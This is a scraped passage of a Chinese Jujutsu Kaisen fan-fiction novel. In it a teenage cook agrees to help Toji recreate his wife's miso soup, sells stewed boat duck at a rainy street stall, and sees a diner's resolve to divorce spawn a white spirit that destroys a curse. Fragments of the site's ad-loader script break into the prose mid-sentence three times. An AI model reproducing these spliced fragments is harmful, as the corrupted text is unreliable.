(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 酒瓶上擦过。“按照领域的【规则】,难道焰给我的料理,是这个……?” “应该是。而且我猜测,我一开始被饥饿感折磨,是因为我与领域主人的意志存在对抗——直到我顺从,愿意并希望吃下料理时,这份饥饿感才消失。” “而你,家入小姐,你并没有这个对抗的过程。” 硝子顿了顿。 “可能我已经习惯了。在焰身边,总是能放松下来,感到安心。似乎他本身就代表着一种稳定……五条和夏油应该也这样。” “可能,在我自己都没意识到的地方……”硝子下意识捏了捏怀中的瓷瓶,低声道:“……我比我想的,更加信任他。” 而另一边,回到家中的栗秋焰,看着眼前的场景,陷入了沉思。 “等等,惠惠,你再说一遍。” 栗秋焰看了看满脸认真的伏黑惠,又看了看撇开眼睛的甚尔,忍不住道:“你说什么?他要和我学做饭?!” 伏黑惠大声道:“是的!栗秋哥哥,只有你能帮我们了!” 栗秋焰蹲下,伏黑惠期待地看着他,两只手可怜巴巴地搭上他的一边膝盖。 “爸爸说,可能因为他做坏事被妈妈发现了,妈妈才生气跑掉,不要我们了。”伏黑惠看着他,似乎从心底深处升起了某种希望,“我就想,也许爸爸好好地用心道歉,妈妈就会回来——” “等一下。可能?”栗秋焰伸手打住,抬头看向甚尔:“所以,你现在根本不清楚……为什么你的妻子不在你身边,是吗?” 伏黑甚尔啧了声。“……我忘了。感觉过的浑浑噩噩的,跟才醒一样——就对这小崽子和我老婆有点印象了。” “那请问,你又是怎么猜半天,最后推测出了这么个老婆跑了的情况?”栗秋焰发出了疑问。 甚尔沉默了下。“因为……” 伏黑津美纪望着栗秋焰,可怜巴巴地搭上了他的另一边膝盖。 “我跟叔叔说了,我是妈妈后面带过来的孩子。”津美纪说:“妈妈以前还经常在家的,但因为叔叔不在家,所以妈妈就不回来了。” 栗秋焰:“……” 栗秋焰和她对视,发现津美纪用泪光闪闪的眼睛,向他快速地眨了两下——没跑了,这个早熟的女孩儿,绝对是故意这么模糊着说的。 他几乎能想象当时那个场景,在甚尔怎么也想不起后续,气氛变得危险紧张起来时,津美纪危机关头瞬间反应过来,利用绝对“真话”的童言童语,将甚尔的思维彻底带偏去了另一个方向。 “所以,我就在想,什么样的礼物,最能突显出道歉的诚意——”伏黑惠抬起头:“果然是料理吧!” 甚尔看了眼栗秋焰。“我知道,你在我们不在时,照顾了这小鬼……” 甚尔咂了下嘴,似乎对说这种肉麻话着实不太擅长,于是烦躁地挠了挠头。 “……你那盘猫耳朵,我吃了。很……好吃。也是因为那个,我才觉得这个蠢得要命的……啧。”他撇开视线:“总之……谢谢你照顾我儿子。” 栗秋焰眼睛都瞪大了。 也许是初印象实在太差,现在这么一对比,突然觉得——不是,这人其实还不是完全没救? “但是……不不不,惠惠,这不行吧。教你做饭只是顺手,但其他的,我也有自己的事要做。”栗秋焰尝试解释:“你看,我不能同时是你的哥哥、师父、监护人……” 伏黑惠羞愧地低下头:“对不起栗秋哥哥,是我想当然了——” 伏黑甚尔:“为什么不行?” 栗秋焰看着甚尔,甚尔理直气壮地看着他。 栗秋焰:“……” 好不要脸一人! 突然想到了什么,栗秋焰呵呵一笑。 “我不同意,主要这也是一个伦理上的问题。”他说:“假如真教你做饭,按先来后到也是惠惠在你前面,那按辈分来,惠惠岂不是你的师兄?” 伏黑惠大脑放空,陷入了呆滞。 ——我是……我爸的,师兄? “而且,按种花家的传统来说,一日为师、终身为父。”栗秋焰仗着霓虹人不懂,向伏黑甚尔施展了邪恶的文化霸凌,咧开嘴道:“想让我教你不难……先叫声爹来听听?” 伏黑甚尔:“……” 小学生伏黑惠陷入了更深的震撼中。 假如这么算,那栗秋哥哥是我师父的话,就是我爹;但假如我爹也拜师了,那我爹、不对、我师父、不对…… ……我哥哥竟是我爷爷?! 作为完全没有经历过伦理哏儿冲击的霓虹小学生,伏黑惠的大脑在得出这么一个结论后,彻底死机了。 “怎么样。”栗秋焰气定神闲:“这下总该放弃了吧?” 伏黑甚尔:“不。” “啊?” 18.甚尔的请求 栗秋焰倒吸了一口凉气,惊恐地指着伏黑甚尔,手指颤抖:“你你你……” 不会真的要当场喊爹吧! 你无下限但我有啊! 等等,刚刚是不是突然闪过了一个白毛的身影…… 脑海中的五条悟小人伸出手来“哟呼~”了一声,栗秋焰甩甩头,把这莫名其妙的联想拍散,看向伏黑甚尔,欲言又止。 “想什么呢,小鬼。”甚尔嘁了一声,“我有要做的东西,不拜你的师。” 栗秋焰:“那你说个毛线!” 害他紧张之余,还真暗暗地期待了一下磕头奉茶的伦理大乱斗剧情……缺失的功德要去哪里补啊可恶! 伏黑甚尔顿了一下,脸上浮现起少许犹豫的迟疑之色。 “因为确实有一件事……我需要,你帮忙。”帮忙两个字甚尔说的有些艰难,似乎十分不擅长开口请求帮助,但经过片刻的挣扎后,他还是开口了。 看他这样栗秋焰反而起了点好奇:“先说来听听?” 伏黑甚尔咂了咂嘴,有些烦躁地摸着后脑勺。 “我老婆她……其实有一个家传的秘方料理。” 开了头后,后面的话再出口似乎就轻松了些。伏黑甚尔拧紧的眉头微微松缓,边努力回忆着边慢慢道。 “每次她高兴的时候,或者什么节日纪念日……反正就是那些莫名其妙的日子,她都会做这个。” 暗沉绿眸男人的眉头完全松开,甚尔回忆着,连嘴角那道贯穿的刀疤似乎都松缓了下来。 “有一次,她兴致冲冲地做了这个,拽着我要去看早樱,为了完好保存在便当里,废了好大一番功夫……”甚尔嘴角微微鼓起些笑意:“结果堵车了,等到到地方已经凉透了,非常难吃。真是个笨女人啊。” 他似乎完全陷入了回忆中,看着虚空出神了片刻,下意识摸向口袋,却没摸到烟,这才回过神来啧了一声。 小小的伏黑惠板着脸:“你醒之前我就扔掉了——不许你在姐姐和栗秋哥哥面前吸烟!” 甚尔低头看着他,瞳孔恍惚了一瞬。 “……说起来,在你满月那天,她也做了这个。”甚尔停顿了一下,突然哑然失笑:“惠。啊啊,对了,竟然才想起来……你的名字,还是我取的呢。” 伏黑惠一愣,接着低下头,鼓起脸颊,抱怨般小声道。“反正肯定是随便取的吧。这样女孩子的名字……” “不。”甚尔蹲下来,粗糙的手按住了惠的头顶。“你、你们……是上天赐予我的,恩惠啊。” 伏黑惠愣住了。 栗秋焰倒没多意外,只是有些感慨——他这种健全b在潜意识就相信“父母总是对孩子有爱的”这种见鬼的童话概念。但提起姓名这件事倒是提醒了他。 他悄悄把津美纪拉到一边,压低了声音。“嘿,我的公主殿下——你和惠惠有告诉过他,你们的全名吗?” 津美纪脸红地推他:“哥哥,这称呼太羞耻了……至于全名,肯定是没有的。” 小女孩贴到栗秋焰耳边,余热未退的灼热呼吸扑到耳边,细声细气地说道。 “栗秋哥哥,我不知道你做了什么……但是这个叔叔,比以前好太多了。我们也需要一个成年人。所以,不要有任何异常,我们就这样一家人永远安稳快乐地生活下去,即使【伏黑】这个姓氏再也不出现,又有什么关系呢?” 【伏黑】是津美纪母亲的姓,伏黑甚尔在与原来的妻子离婚后,入赘的现任妻子的姓氏。对现在阴差阳错拼凑起认知的伏黑甚尔来说,是个代表着“异常”的隐藏炸弹。 女孩没有咒术天赋,明明津美纪应该是在场所有人中,最不清楚发生了什么的人。但此时她揽上栗秋焰的脖颈,依赖地靠在他的颈侧,十分确信地说道。 “叔叔到现在还没问。我等下会去提醒小惠,就算叔叔真的问起来……”她肯定道:“我会说我叫栗秋津美纪。” 栗秋焰:“……” 怎么回事,今天和当爹过不去了是吧! 他才芳龄16啊!而且总感觉怪怪的……伏黑父子是入赘进来一起才改了姓,那按这个逻辑,又改他的姓算怎么回事? 栗秋焰脑海中浮现出一副场景,他穿着厨师服面露微笑,伸手向别人介绍:“我是大厨师,他是我养的小白脸。” 栗秋焰:“……”被自己雷一激灵。 挥去大脑擅自跑火车的诡异场景,栗秋焰认真起来,陷入了沉思。 虽然不知道惠惠的母亲到底发生了什么,但有一件事可以肯定。 伏黑甚尔的记忆,停留在了惠惠的母亲消失前。 而且一方面经过津美纪的引导,另一方面也可能是由于自己的术式,伏黑甚尔的记忆掐头去尾,只保留下了与妻子相处时的记忆,其余的前后都被清空,自动补全上了一个相应合理的概念印象。 并且从甚尔的反应来看,保留下的那段回忆也很模糊,只有在触发到相关事物时,才能清晰地回忆起来。 栗秋焰记得,自己是剥夺了伏黑甚尔身上的【执念】,还有…… 手上紧握的触感打断了他的思考,栗秋焰与津美纪对视,女孩的眼中满是祈求。 栗秋焰沉默片刻,还是叹了口气,默认下了“让伏黑甚尔继续保持这样最好”这个选项。 “所以……”栗秋焰站起来,看向仍沉浸在回忆中的甚尔:“那道家传秘方料理是什么?” 甚尔回过神来。 “是味增汤。”他回答道。 栗秋焰:“……啊,一汁三菜。太经典了反而有种‘果然如此’的感觉啊……” “一汁三菜”应该是霓虹最传统,也最基础广泛的一种饮食文化形式了。一餐包含一道汁物(汤)和三道菜,配合主食米饭食用。 汤一般为味增汤,根据不同地区和习惯,也有清汤、海鲜熬煮的潮汁、加葛粉的吉野汁,或者加萝卜泥的霙汤……但最常见的还是味增汤。 三道菜则有一道主菜和两道配菜,主菜一般为肉类或海鲜,配菜则是菌菇蔬菜之类,十分经典的和食。 “不,那绝对不是普通的味增汤。”伏黑甚尔竟然郑重地摇了摇头,努力回忆着试图描述:“尝起来很柔和,很鲜,但又很安定……非常的……温暖。” “这话跟没讲有区别吗。全是主观滤镜,恋爱脑滚出美食评论频道。”栗秋焰抱起手臂:“所以,你想让我帮的忙是——?” “我想请你帮我,复现出那道味增汤。” 伏黑甚尔闭了闭眼,自顾自地低声喃喃,像是肯定地强调,又像是在劝服自己。 “假如能做出那个味道……不管我究竟做了什么糟糕的事,她都肯定,会原谅我的。” 栗秋焰皱眉:“那,菜谱?” “没有。” “用了什么材料总该知道吧?” “……忘记了。想不起来。” 栗秋焰无语地看了看伏黑甚尔,恨不得一拳把这个只知道味道的笨饭桶锤个对穿。 “那你说个毛线!让我这种料理界的创意天才去复现别人的料理配方就算了,还一问三不知!”栗秋焰吐槽道:“味道这东西最微妙了,让我吃一口倒肯定能百分百复现……但现在人不在,我又不能钻你脑子里尝。” 伏黑甚尔沉默了一下。“假如让我尝到那个味道,我就能想起来了。” “但现在不就是做不出来吗,什么鸡蛋悖论。”栗秋焰想了想:“不过味增汤的做法很简单,假如把那些食材一个个试过来,倒也不是没可能……你打算怎么做?” 伏黑甚尔看着他。 “……”栗秋焰看懂了他的意思,震惊道:“不是吧,还得我来?!” 喂我能给食材上的指导已经很好了!不要蹬鼻子上脸! 不断地重复机械劳动,一道一道地搭配试错,还不是为了追求味道上的完美,只是为了接近别人料理的那个口味——你简直在浪费本天才的大脑,给我立刻向全料理界谢罪! “我……” 伏黑甚尔张了张嘴,又合上了。 他走进厨房,栗秋焰的视线跟随着他,看到他伸出手,似乎想去触碰灶台上的厨具。 “我没有……信心。哪怕是以前,我也……” 手指碰到厨具,眼前的场景颤了颤,触碰到开关的回忆如水波般荡漾而出。那似乎是他以前下厨时的景象,画着笑脸的围裙套在身上,被夸张的肌肉挤出一个滑稽的弧度,他一手拿着厨具,扭过头看向身边的妻子。 黑发的妻子拿起料汁碟,小心翼翼地尝了一点。 “怎么样?”他似乎是这么说的。 妻子笑起来,看着那笑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 容,似乎连心脏都轻快起来。 “非常棒!”她高兴道:“太美味了!” 啊啊。甚尔有点恍惚。对,以前也是这样,比起自己去尝,他反而更习惯于通过妻子的表情与语气,去判断自己做出的口味好坏。 但是现在—— 甚尔碰到厨具的手突然痉挛般颤抖起来,他猛地收回手,像是被剧毒的毒蛇突然咬了一口。 “我……” 甚尔的手指颤抖着,别说拿起厨具了,甚至连移动都费劲。他颤抖着慢慢往上,摸到自己的鼻子,又摸索着往下,碰了碰自己带着刀疤的嘴唇。 他忘记了长期浸泡在烟酒中,他的嗅觉与味觉已经被摧残殆尽。 甚尔只是张开嘴唇,带着些自己都不知从何而来的,疼痛的战栗,有些困惑地开口道。 “我好像……做不了饭了。”甚尔低声道:“直到吃到那个味道前……我都……我做不到。” 空气一时沉寂下来。 过了一会儿,栗秋焰突然开口。 “那道味增汤,后来怎么样了?”他说。 “……嗯?”甚尔抬起头,“什么?” “那道被带去看早樱的,彻底冷透的,非常难吃的味增汤。”栗秋焰说:“后面怎么样了?” “……还能怎么样。”甚尔怔了下:“我喝光了啊。” “全部?” “全部。” 栗秋焰眯着眼,在融黄的温暖灯光下,凝视着甚尔的眼睛。 一股实质性的压力袭来,甚尔几乎反射性地绷紧了身体,但还是强行放松了下来,坦然地接受了栗秋焰锐利的注视。 过了片刻后,栗秋焰的眼珠动了动,他垂下眼眸,接着长长地叹了一口气。 “算了。”他一闭眼,带着股自暴自弃的味儿,无奈道:“我帮你。” 啊啊啊可恶!我绝对会后悔的! 栗秋焰啊栗秋焰,你真的不能再这样心软下去了!在这个混乱黑暗的咒术世界,你要理智!冷酷!拿出你成熟理性的大人气势来—— “栗秋哥哥!” 伏黑惠扑上来,眼睛亮亮的,一把抱住了栗秋焰,“真的、真的,你真的特别好……” 甚尔则在原地愣住了。过了一会儿,他才深吸了一口气,缓缓弯下腰。 这个鞠躬沉重而诚恳,颇具独行武士的遗风。那些千年前的古人穿行在雨中挥刀奋战,刃锋被淌下的血洗得雪亮,他们眼神凶厉,将刀刺入敌人或自己的内脏,只为了践行武士道的承诺。 那些淬着血与火的、追逐着幻影的忠诚,现在都已和他们的头颅一齐,埋进了历史的尘土中。也许春天时,会有无数樱花在那片埋骨地上静静地飘落。 “……谢谢。”甚尔硬邦邦道:“拜托了。” “……” 栗秋焰哼了声,突然觉得……自己这堂堂16的妙龄美少年,也许还不必急着当大人。 “不过,我虽然同意了,但我也有自己的事要做的!”栗秋焰强调道:“每天我要出门摆摊,下午结束后回家,晚上才能开始试菜——” “竟然还能每天都试?”甚尔不禁道。 “……”栗秋焰沉默了下,立刻找补道:“而且摆摊时你必须来帮工!平时叫你做什么你都必须做!” “没问题。”甚尔干脆利落地一口答应。 栗秋焰:“……” 完了,他已经想不到还能提出什么附加条件了。 “那就……这样吧。你,明天跟我去摆摊。然后都散了去休息吧……你睡沙发。”栗秋焰一指甚尔。 甚尔看着沙发,又看了看窗户。那个被自己亲手打碎的窗户洞,正往里呼呼灌着风,发出嘲笑般的气声。 伏黑甚尔:“……行。” 等人都走了,栗秋焰回到厨房,看着灶台开始沉思。 明天摆摊,要做什么呢?哦,那俩小孩病好要去上学了,还得做两份便当。 趁着他思考,系统不吭声,默默地缩紧,试图把自己藏得更深。 不起眼的角落,“攻略任务”那一栏,开始微微闪动出光彩。 【检索中……检索成功。可攻略对象出现时间:明日。此为特殊攻略对象,请宿主注意】 【攻略对象所属阵营为——】 【咒灵】 19.三十年河东三十年河西 夜幕低垂,星月的光昏昏的,连厨房拉门外渗出的微弱黄晕,都轻松盖过了银白光亮。 两小孩的便当好做,但明天摆摊到底卖什么,栗秋焰还有些犹豫。 他抬头看了眼窗外,下意识道:“明天是不是有雨?” 这是个微妙的习惯。即使现在厨房里只有自己,他也像在家或是高专中那样,随心所欲地说出些琐碎的问题,毕竟总有人陪伴在身边。 这种微妙的习惯,大抵在无人回应后,落空个两三次就会被改掉吧。就像苦咸的海盐悄无声息地溶解在水中。 但是…… “天气预报说会下雨——” 伴随着津美纪声音一同涌入的,是暖黄的灯光,和拉门后认真仰起脸的伏黑惠。 “栗秋哥哥,记得带伞。”他严肃地强调:“之前姐姐就是淋了雨才生病的。” ……他说出的话,总是不会落空的。 “知道啦。” 栗秋焰自然而然地应了一声。“要下雨的话……” 他突然有了个想法,高兴地一锤掌心。 “有了,就做母油船鸭吧!” 打定主意,栗秋焰一扬手,左手指尖一转,沉朴的菜刀如燕雀翻飞般上下,一连串急促而有节奏的咄咄声后,刀面一停一并,旁边红绿分明。 “母油……船鸭?” 伏黑惠面露困惑,生涩地重复了一遍这个难懂的陌生词汇,没想到仅一个词的功夫,这人已行云流水地备好前菜,连忙道:“等下慢一点!栗秋哥哥,我想学——这个是什么?” “是种花家的料理啦。‘母油’其实就是酱油,而且是最顶级的一种酱油,‘旧晒三伏,晴则夜露。深秋第一签者胜,名秋油,即母油。’” 栗秋焰声音悠悠,变魔术般拿出一个陶罐,在伏黑惠面前晃了晃。罐子外表古朴粗糙,以绳子束红纸封口。 “这个,是头一遍从晾晒的缸中抽取的头抽,这就是母油。”栗秋焰揭开封纸,笑眯眯道:“尝尝看?” 直接吃调料吗……伏黑惠犹豫了下,但在栗秋焰用筷尖点了点伸过来时,还是顺从地张开了口。 他抿嘴后顿了一下,紧接着睁大了眼睛:“好鲜!而且好、好香!” 豆类经历了漫长岁年的沉淀发酵,一点点酿造为纯粹的鲜香味。虽然统一概之以“鲜”,但鱼的鲜、肉的鲜、汤的鲜又绝对各不相同,就像情绪,唯有亲口品尝才能真正体会其中滋味。 而此时,舌尖上萦绕着的这份丰厚的酱酯香气,浓厚的醇鲜,就是独属于时间的鲜味。 “对吧~”栗秋焰得意道:“从我妈那儿好不容易才偷了一点。”当年糊弄五条,拿酱油给他拌饭的时候,都没舍得用…… 但没关系,男高正是最纯饿的时候。当时他刚烤出来一盘热乎乎的黄油面包,五条将之组合成中西结合型碳水甜咸永动机,全炫完后睡了整整两个小时午觉。 “‘船鸭’该怎么解释呢……如果直译的话,应该是类似于‘船上的鸭子’?” 栗秋焰单手提出一只光鸭放在案上,另一手持刀,提醒道:“这一步注意咯。” 伏黑惠试图跟上这种多线程教学,盯紧了栗秋焰的手,大声应道:“是!” 少年手腕下压,刀没入鸭的颈部,接着刀背立起如游蛟过水般轻灵几划,刀过之处骨肉如海浪般分开,转眼间鸭的胸骨便完整脱离筋肉,平滑流畅得不可思议。 接着刀行到鸭腰处,栗秋焰横刀立腕,干脆利落地一刀斩下! 一声重响后,栗秋焰捏住一拉,鸭的整个前半身骨架便连着内脏一同被拉出。鸭的头与颈皮仍连在身上,而那拉出的骨架白净完整,甚至能看出鸭低首团起的姿态。 伏黑惠:“……”这我学什么? 栗秋焰没有意识到,这对他而言稀松平常的刀工已经给小孩造成了困扰,他十分自然地一边继续一边道:“处理完用水洗了,然后像这样,进开水锅里一烫就起——好了,这样鸭皮就缩起来了。” 伏黑惠看着那只外表完好光滑,除了没毛,感觉随时要睁开眼扇自己一巴掌的鸭子:“……” 栗秋哥哥,你好像真的在试图教会我。 “然后把刚刚的馅下锅炒,葱花猪肉丝认识吧?这个细细暗绿的是川冬菜……老咸菜?不是吧,这也摇头,原来其他霓虹人真不怎么吃腌菜吗?” 翻炒中香味合着油响爆出,火焰从锅中倏地腾起,伏黑惠下意识退后了半步。 栗秋焰眉毛都没动一下,娴熟地继续颠锅翻炒,加了黄油、酱油、白糖后炒热,收干汤汁。 “至于为什么是船鸭,这就要说到这道菜的发源地了。母油船鸭是经典的苏州菜,最开始呢,是一种游览船菜。” 他收好汁,将馅心从鸭颈处塞入鸭肚中,然后将鸭头颈打成结。 “那是百年之前的太湖,水面上漂浮着许多游船,船家们依水为生,载着游客们离岸后,便像是一个个小型的孤岛,自然要解决吃饭问题。但船上烹饪,湖风水汽下难以使用旺火明炒,于是便衍生出众多‘船菜’……” 食物的香味中,是少年平和悠然的声音,栗秋焰随口说着,伏黑惠与在门边探头的津美纪入神地听,躺在沙发上的甚尔翻了个身。 “所以,就要这个出场了。” 栗秋焰取出一个大砂锅,往灶台上一垛。 他将鸭子放入锅中,鸭背朝下、鸭肚朝上,拿起陶罐,将母油倒入其中。 澄亮的母油缓缓注入锅中,不管是百年前的苏州、家中的时光,或是去年高专的回忆……时间的鲜味架起桥梁,在烹饪中连接起过往与现在。 栗秋焰加了葱结姜片,又依次加入糖、黄酒、麻油、水,看着酱色的汤汁逐渐没过鸭子,慢慢道。 “当时这道菜,就这样先行处理,然后利用行灶中木柴炭火的余热,拿互砂煨罐慢慢地煨熟它。这香味就越来越浓,在摇晃的湖水上,顺着江南小调,勾魂般飘出来……” 两声清晰的吸溜声。 栗秋焰停顿,好笑地望过去,伏黑姐弟尴尬地各自擦着自己的下巴。 “嘛,总之,这就是‘船菜’了。明天摆摊时当场焖熟,省事儿还不会损失风味。”栗秋焰眨了眨眼睛:“不过虽说‘船鸭’的叫法来源于这个,我倒觉得还有另一种解释。” “什么?” 栗秋焰神秘地招了招手,两个小孩便都过来,挤挤挨挨地凑在他身边,踮着脚向锅中看去。 “看,像不像一艘船?” 鸭子泡在汤中,背向下肚向上,果真宛如一叶轻舟。 即使伏黑惠从来没见过种花家古代舟楫的图片,此时却无师自通般心领神会,恍惚间仿佛自己也正置身于那轻舟之上,在越发浓郁的香味中,抬头看到砂锅中心一圆天空中,那双春潭般碧绿的眼眸。 “果然好像。”津美纪的声音模糊嗡嗡的,像是从遥远处传来:“但是哥哥,如果想省事的话,应该还有更好的选择吧?这个听起来要花好长时间呢……” “这个嘛……” 少年放大的碧眸微微弯起,露出了某种狡黠的笑意。 “当然是,有原因的啦。” 锅盖移动,黑暗覆盖而下,将那笑意连同美食的秘密一齐掩藏,只待揭露的那刻。 / “啊,这下糟糕了。” 吉野凪看着门外飘落的细雨,将弯在臂上的袋子用力往肩上一提,另一手掏出火机凑在唇前的烟上,皱着眉按了几次。 几下连响,鲜红指甲笼着的指间却只稀疏冒出几粒火星,看来是彻底打不着了。 “下雨了哦,没带伞?”坐在柜台后的老婆婆说:“打个电话让你丈夫来接你。” 吉野凪有些嘲讽笑了一声,叼着烟含糊道:“那个烂男人……指望他不如指望我儿子呢。” “那让你儿子来接你嘛,买这么多东西也不方便。” “不用啦,阿婆。” 吉野凪取下烟,连同火机一起扔进了包里,笑道:“我儿子一小点儿,连事儿都没记呢。不指望他,等顺平长大后,不和他那老爸一样我就谢天谢地了。” “哎,等雨停了再走嘛!” 吉野凪头也不回摆了摆手,拎着东西走进了雨中。 雨水沿着发丝流下,吉野凪胡乱将湿透的短发拨到脸后。 衣服湿淋淋地贴在身上,风一吹,她嘶了一声抖了下,将下滑的袋子又往肩上提了提。 风带走身体中储藏的热量,吉野凪斜着身体吃力地按着袋子,眯眼看着眼前的路。 啊……饿了。 虽然回家就能吃上饭,但一想到要看到丈夫的脸,就什么胃口都没有了啊。 吉野凪一直有离婚的想法,但考虑到刚出生没多久的儿子,又有些犹豫。日积月累的疲惫失望,和这犹豫一起,如这连绵湿冷的梅雨般,缠绕阴郁地贴在身上,渗进骨里。 “越想越难受啊。”吉野凪紧紧攥着袋子,自言自语道:“……怎么感觉连这东西也越来越重了?” 她自然看不见,趴伏在肩上的低级咒灵膨胀了几分,正一边低声重复着“痛苦、痛苦……”一边愈发收紧绞缠在她的脖颈上的触肢。 吉野凪只是突然闻到了一股——香味。 那是食物的香味。即使正下着雨,竟然也无法阻断,甚至仿佛借着水汽变得更加幽缠柔软,散发着微甜的鲜香味,直勾勾地勾着人的嗅觉。 吉野凪步伐一顿,下意识就循着香味转变了脚步,像是被柔滑的丝绸缠住了腰,不受控制地被那香味带着往尽头走去。 越走,香味就越浓,吉野凪的脚步越来越快,腹中的饥饿也越来越重,到最后她几乎是跑着奔到了香味的源头,才气喘吁吁地停下了脚步。 这是不知哪个狭窄小道,一个小摊顶着雨棚,静静点着暖黄色的灯光立在尽头,一只大砂锅即使盖着盖儿,那浓烈的香味依然膨胀着翻涌而来。 砂锅后坐着一个面容俊朗的少年。连绵雨中的悠悠暖光宛如一座灯塔,当那双柔和的绿眸望过来时,吉野凪差点以为自己看到了救世的神明。 “哦,又来一个。”栗秋焰的视线在她肩上一扫而过,自然地笑道:“这应该是最后一份了。” “我、我……这个、应该是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 卖的吧?是吃的吧?” 吉野凪差点话都没说利索,走着抖着手掏钱包:“不管什么都给我一份……拜托了……” “哎哎,先来后到,排队!” 一只手挡住了她,吉野凪恍惚着抬头,才发现前面原来还有好些个等着的人。 这时几个人都纷纷回过头来,看清他们如临大敌的脸后她吓了一跳。 ——不是,这几个人,怎么感觉眼睛都跟饿狼似的,直冒绿光啊? “你来得巧,正好要开锅了。”栗秋焰轻飘飘地笑道:“这香味是越焖越浓,他们可是守着这越来越浓的香味儿,硬撑一两个小时了呢。” 这就是摆摊卖母油船鸭的秘诀了——香气。 即使是雨水也不能阻隔,随着香味越浓,肚中的馋虫一步步被吊起,期待越来越高,在达到顶点时揭盖—— 砂锅的盖子被掀开,瞬间霸道的香味宛如风暴般将所有人席卷其间,外表完好如船型的鸭子浸泡在汤汁中,散发着诱人到极点的酱色光泽。 那一刻所有人都以迅雷不及掩耳之速动了起来,看着那些人脸上的表情,吉野凪差点以为将要发生一场暴动。 但站在少年身后的一个男人一步上前,抱起的手臂肌肉鼓胀,原本懒散的气质瞬间锐利起来,一个眼神就压得众人瞬间安静下来,鸦雀无声。 “好啦。”栗秋焰拍了拍手,“一个一个来,每人限一份。” 分好的鸭肉盖在晶莹的米饭上,酱汁缓缓渗进散发着热气的米饭中,虽然用了简单类似于打包盒的样式,但没有一个人选择打包带走,都是拿到手,就立刻迫不及待地往嘴里塞进一大口。 一个女孩吃了第一口就哭了,边哭边不停吃,吃了好几口才仿佛缓过来般长舒了一口气,边塞边向同伴口齿不清地含糊道:“太好吃了……值了&%@%*@……” 有人在义愤填膺地痛斥:“这就是饥饿营销!都是小老板的宣传套路,等他打出名气了就要开餐馆引流……所以地址在哪里?电话有在哪里?投资的话有优先订购福利吗?” “大师,你是来霓虹寻找传说厨具的吗?” 栗秋焰:“……你们别太夸张。” 吉野凪排在最后,虽然也觉得这些人反应太过夸张,但心中也越来越急切。等到终于轮到她后,她同样迫不及防地塞了一大口。 一口下去她明白,那些反应根本不夸张。 浓郁鲜美的酱汁渗透了每一根肉丝,鸭肉特别肥嫩酥烂,关键入口还酥而不碎、烂而不糊,美味得不可思议。 配上米饭,咀嚼下第一口,饭香混着鲜香滑进喉咙,温热顺着咽喉一直蔓延到咕咕作响的肚中。 再恢复意识的时候,已经是吃了好几口之后了。 吉野凪还是第一次知道,原来有美食是会好吃到令人断片的。 “……真好吃啊。”吉野凪握着筷子,眼底突然不受控制地涌起些泪意:“我有多久,没体会过这样单纯的幸福了呢。” 连以往喜欢吃的东西,在那个家中,尝起来也像某种苦涩而效果欠佳的止痛药。吉野凪想起有人说过,舌头是人最敏感的器官。在大脑还未察觉时,舌头就已先觉察出苦涩。而她总是麻木地用烟酒的辛辣去压那份早应觉察的苦。 “姐姐,怎么了?” 一张纸递了过来,抬眼是少年关切的眼睛。 吉野凪破涕为笑,接过纸擦了擦眼泪:“还姐姐,我都有儿子了……小老板,你嘴这么甜,桃花缘不错吧?” “压根没有呢。”栗秋焰笑了笑,隐晦地瞥了吉野凪肩上蠕动的咒灵,“倒是姐姐你,是家庭上有什么不顺吗?” “常见的人渣丈夫罢了,满霓虹大街都是。”吉野凪擦干眼泪,向栗秋焰笑了一下,眼神清明:“不过,我已经想好了。” 栗秋焰看着吉野凪身上的标签一个接一个亮起,下意识追问道:“什么?” 吉野凪塞进一口饭咽了下去,嘴角扬起,露出一个释然潇洒的笑容。 “决定了,我要离婚!” 一道亮眼的光芒爆发而出,但周围的普通人丝毫不觉,这道与黑暗粘稠的咒力完全相反,光亮清澈的力量,只亮在了唯一的咒术师——栗秋焰的眼瞳中。 这就是,那种与咒力相悖,由正面情绪凝结而成的……力量? 栗秋焰正惊叹,随即更意外的事情发生了。 那光芒在爆发而出后,竟然还并未停止,它持续膨胀、沉积、组合——凝聚成了一个活物。 栗秋焰:? 那与咒灵相似却通身洁白的活物一出现,就从人身上脱离而出,漂浮在了栗秋焰的领域中。 它睁开一只似模似样的圆眼睛,接着瞳孔滴溜溜地转了一圈,定格在了吉野凪肩头的咒灵身上。 然后,它突然伸出一只手,在栗秋焰目瞪口呆的视线中,啪地给咒灵一巴掌! 一声沉重的烧灼声伴随着咒灵的哀鸣,那只低级咒灵就这样,在栗秋焰眼皮子底下……消散了。 栗秋焰:…… 完了。栗秋焰意识到,他一个被开除的废柴高专生,好像要让咒术界变天了。 20.JUST DO IT 那只生物一巴掌抽散了低级咒灵,接着圆圆的洁白身体弹了弹,像是某种大块荔枝果冻般晃荡了两下,慢吞吞地将伸出来的手缩了回去,睁大的眼睛也眯了起来,重新变回了一个安静的白团子。 栗秋焰:“……”不是,竟然有种诡异的萌感,什么情况? “啊啦,感觉肩颈一下子轻松起来了。”吉野凪惊讶地动了动肩膀,看着栗秋焰笑道:“果然心情畅快了身体也会好起来呢。多谢你了,小老板。” 说话间,白团子似乎察觉到了栗秋焰的注视,半固态的身体扭了扭,圆溜溜的眼睛与栗秋焰对视了一眼。 栗秋焰在入学高专时就听说过,很多咒术师会选择用各种方式遮挡住眼睛,以此避免和咒灵对视,招惹麻烦上身。 不过他对自己控制视线的能力很有自信,所以从不做这样的遮挡……但现在这种情况,已经和控制能力没有关系了! 栗秋焰在和白团子对上视线的瞬间,他心中顿时警铃大作,但已经来不及了,白团子蹦起来,在空中朝栗秋焰的脸气势汹汹地扑了过去! “不……” 吉野凪奇怪道:“怎么了,小老板?” “没、没事。” 在吉野凪看不见的地方,栗秋焰的脖颈被牢牢抱住,白团子圆滚滚的身体一下下蹭着他的半边脸,似乎十分高兴的样子,一边蹭还一边发出“哩、哩……”的声音。 白团子的身体凉凉的软乎乎,触感竟然有几分像雪媚娘,栗秋焰一边借着擦汗的动作往下扒拉这小东西,一边努力维持自然的表情,向吉野凪僵硬地笑道:“哈哈哈,没逝的,只是有点热。” “……热?”吉野凪疑惑地看了眼外面。虽然细雨已停,但云还阴阴地压着,冷风幽幽吹过。 